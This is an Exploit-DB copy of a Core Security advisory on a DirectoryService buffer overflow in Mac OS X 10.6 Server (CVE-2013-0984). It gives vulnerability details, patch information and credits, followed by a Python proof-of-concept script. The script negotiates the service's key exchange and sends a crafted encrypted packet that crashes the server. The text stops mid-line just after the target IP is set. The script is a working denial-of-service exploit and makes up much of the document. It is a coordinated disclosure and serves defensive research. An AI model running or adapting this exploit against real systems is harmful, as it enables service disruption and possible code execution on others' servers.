Exploit-DB #25974
Description: Apple Mac OSX Server - DirectoryService Buffer Overflow
Type: dos
Platform: osx
Date: 2013-06-05
Author: Core Security

Exploit:
Core Security - Corelabs Advisory
http://corelabs.coresecurity.com/

Mac OSX Server DirectoryService buffer overflow


1. *Advisory Information*

Title: Mac OSX Server DirectoryService buffer overflow
Advisory ID: CORE-2013-0103
Advisory URL:
http://www.coresecurity.com/advisories/mac-osx-server-directoryservice-buffer-overflow
Date published: 2013-06-04
Date of last update: 2013-06-04
Vendors contacted: Apple
Release mode: Coordinated release


2. *Vulnerability Information*

Class: Buffer overflow [CWE-119]
Impact: Code execution
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2013-0984


3. *Vulnerability Description*

A memory corruption vulnerability was found in Mac OSX Directory
Service. By sending a maliciously crafted message, a remote attacker
could cause the directory server to terminate or execute arbitrary code
with system privileges. The issue existed in the directory server's
handling of messages from the network.


4. *Vulnerable Packages*

   . Mac OS X 10.6.8 Server (x86_64)
   . Mac OS X 10.6.7 Server (x86_64)
   . Mac OS X 10.6.6 Server (x86_64)
   . Mac OS X 10.6.5 Server (x86_64)
   . Mac OS X 10.6.4 Server (x86_64)
   . Mac OS X 10.6.3 Server (x86_64)
   . Mac OS X 10.6.2 Server (x86_64)
   . Mac OS X 10.6.1 Server (x86_64)
   . Mac OS X 10.6.0 Server (x86_64)
   . Other versions are probably affected too, but they were not checked.


5. *Vendor Information, Solutions and Workarounds*

   . Apple security updates are available via the Software Update
mechanism: http://support.apple.com/kb/HT1338.
   . Apple security updates are also available for manual download via:
http://www.apple.com/support/downloads.
   . For further information regarding this issue visit:
http://support.apple.com/kb/HT1222.
   . Vendor also notifies that this issue does not affect OS X Lion or
OS X Mountain Lion systems.


6. *Credits*

This vulnerability was discovered and researched by Nicolas Economou.
The publication of this advisory was coordinated by Fernando Miranda
from Core Advisories Team.


7. *Technical Description / Proof of Concept Code*

The bug is located in the function 'DSTCPEndpoint::AllocFromProxyStruct'
from 'DSTCPEndpoint.cpp'[1]. An attacker can control both the value of
'inProxyDataMsg->fDataSize' and the data that will be copied. Thus, by
sending a huge amount of data and a small buffer size, the service will
crash trying to access an unmapped memory block.


7.1. *Proof of Concept*

Before running the PoC, make sure you meet the following prerequisites:

   1. The PyCrypto toolkit [2] has to be installed.
   2. The IP address and port (hardcoded at the end of the file) have to
point to your server.
   3. The PoC was tested against a Mac OSX Server 10.6.8 with the last
security patch installed [3].

/-----
from Crypto.Cipher import AES
import socket
import struct
import time

def send_packet(sock, data):
    packet = ""
    packet += "DSPX"
    packet += struct.pack(">I", len(data))
    packet += data
    sock.send(packet)


def get_crypted_data(shared_key, data):
    cipher = AES.new(shared_key, AES.MODE_CBC, "\x00" * 16)
    crypted_data = cipher.encrypt(data)
    return crypted_data


def attack(ip, port):
    try:
        p = socket.socket()
        p.connect((ip, port))
    except Exception, e:
        print e
        return
    data = ""
    data += "DHN2"
    data += "\x00" * 63 + "\x02" # Key that generates a DERIVED KEY,
identical to the one received.
    # Packet 1
    print ("\nSending my public key ...")
    send_packet(p, data)
    resp = p.recv(65536)
    # Key sent by server.
    key_sent = resp[8: len(resp) - 1]
    server_key = ""
    # Flip the number.
    for i in range(len(key_sent) - 1, -1, -1):
        server_key += key_sent[i]
    # String to (a huge) number conversion.
    big_number = ""
    for c in server_key:
        big_number += "%.2x" % ord(c)
    big_number = int(big_number, 16)
    prime = 2 ** 128
    # Obtaining the SHARED KEY (To be use for AES encryption).
    derived_key = pow(big_number, 1, prime)
    magic_number = derived_key
    derived_key_string = ""
    # Transform key into a string.
    while magic_number != 0:
        resto = magic_number % 256
        magic_number /= 256
        derived_key_string += struct.pack("B", resto)[0]
    print "shared key: %s" % repr(derived_key_string)
    # Handshake.
    print "Sending the Handshaking"
    data = "A" * 4 + ("\x0c" * 12)
    crypted_data = get_crypted_data(derived_key_string, data)
    send_packet(p, crypted_data)
    resp = p.recv(65536)
    data = ""
    data += "A" * 0x1b
    data += "\x02"
    data += struct.pack("<I", 0x10000000)       # Evil value.
    data += struct.pack("<I", 0x100)            # Value to be used by
the last patched version.
    data += "A" * ( 0x34 - len(data) )
    data += struct.pack(">I", 0x1172 + 1)       # Operation code.
    data += struct.pack(">I", 0x99999999)
    data += struct.pack(">I", 0x80808080)
    data += struct.pack(">I", 0x81818181)
    data += struct.pack(">I", 0x66666666)
    data += "B" * (0xe0 - len(
        data))           # Bypass in previous Mac OSX versions ( Integer
underflow -> ( ( 0xe0 + 0x10 ) - 0x100 )
    data += "\x00" * 16
    crypted_data = get_crypted_data(derived_key_string, data)
    # TRIGGER
    print ( "Sending the evil packet" )
    send_packet(p, crypted_data)
    p.settimeout(10)
    try:
        p.recv(65536)
    except Exception, e:
        print e
    p.close()
    try:
        print ( "\nwaiting 10 seconds for check ..." )
        time.sleep(10)
        p = socket.socket()
        p.settimeout(10)
        p.connect(( ip, port ))
    except Exception:
        print ( "\nThe attack was successful !\n" )
        return
    print ( "\nThe attack wasn't successful\n" )
    return


ip = "192.168.100.1"
p